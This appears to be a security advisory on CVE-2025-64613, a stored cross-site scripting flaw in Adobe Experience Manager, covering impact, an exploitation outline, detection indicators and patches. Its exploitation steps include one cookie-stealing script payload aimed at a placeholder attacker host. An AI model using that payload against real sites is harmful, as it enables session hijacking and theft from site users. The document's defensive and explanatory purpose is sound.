CVE-2025-64613: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64613 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM 6.5 LTS, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 10, 2025, with a patch released on December 12, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account, and the impact scope is changed (cross-origin) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, resulting in low confidentiality and integrity impacts — such as session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or defacement of AEM-hosted content. Because the payload is stored persistently, every user who visits the affected page is at risk without any further attacker interaction. Availability is not directly impacted (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier (on-premises) or AEM Cloud Service prior to 2025.12.0. Obtain a low-privileged (authenticated) account on the target AEM instance.
2. Identify vulnerable form fields: Browse the AEM authoring interface or public-facing forms to locate input fields that do not properly sanitize user-supplied content before storing and rendering it.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
4. Payload persistence: The malicious script is stored server-side within AEM's content repository (JCR).
5. Victim execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the compromised field, the stored script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to attacker-controlled infrastructure (Adobe Advisory).

• Logs: AEM access logs showing POST requests to authoring endpoints (e.g., /content/, /libs/, or custom form paths) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Content Repository: Unexpected JavaScript payloads stored in AEM JCR nodes — inspect content nodes for fields containing <script>, javascript:, or HTML event attributes injected by non-admin users.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; look for unusual GET requests in web proxy logs originating from AEM page visits.
• Browser/Client: Unexpected redirects or pop-ups experienced by users browsing AEM-hosted content; reports of session hijacking or unauthorized account actions following AEM page visits.

Adobe has released patches addressing this vulnerability: AEM on-premises users should upgrade to version 6.5.24.0 or later; AEM Cloud Service customers should update to the 2025.12.0 release or later. No configuration-based workaround has been publicly documented — upgrading to the patched version is the recommended and primary remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user activity on form fields (Adobe Advisory).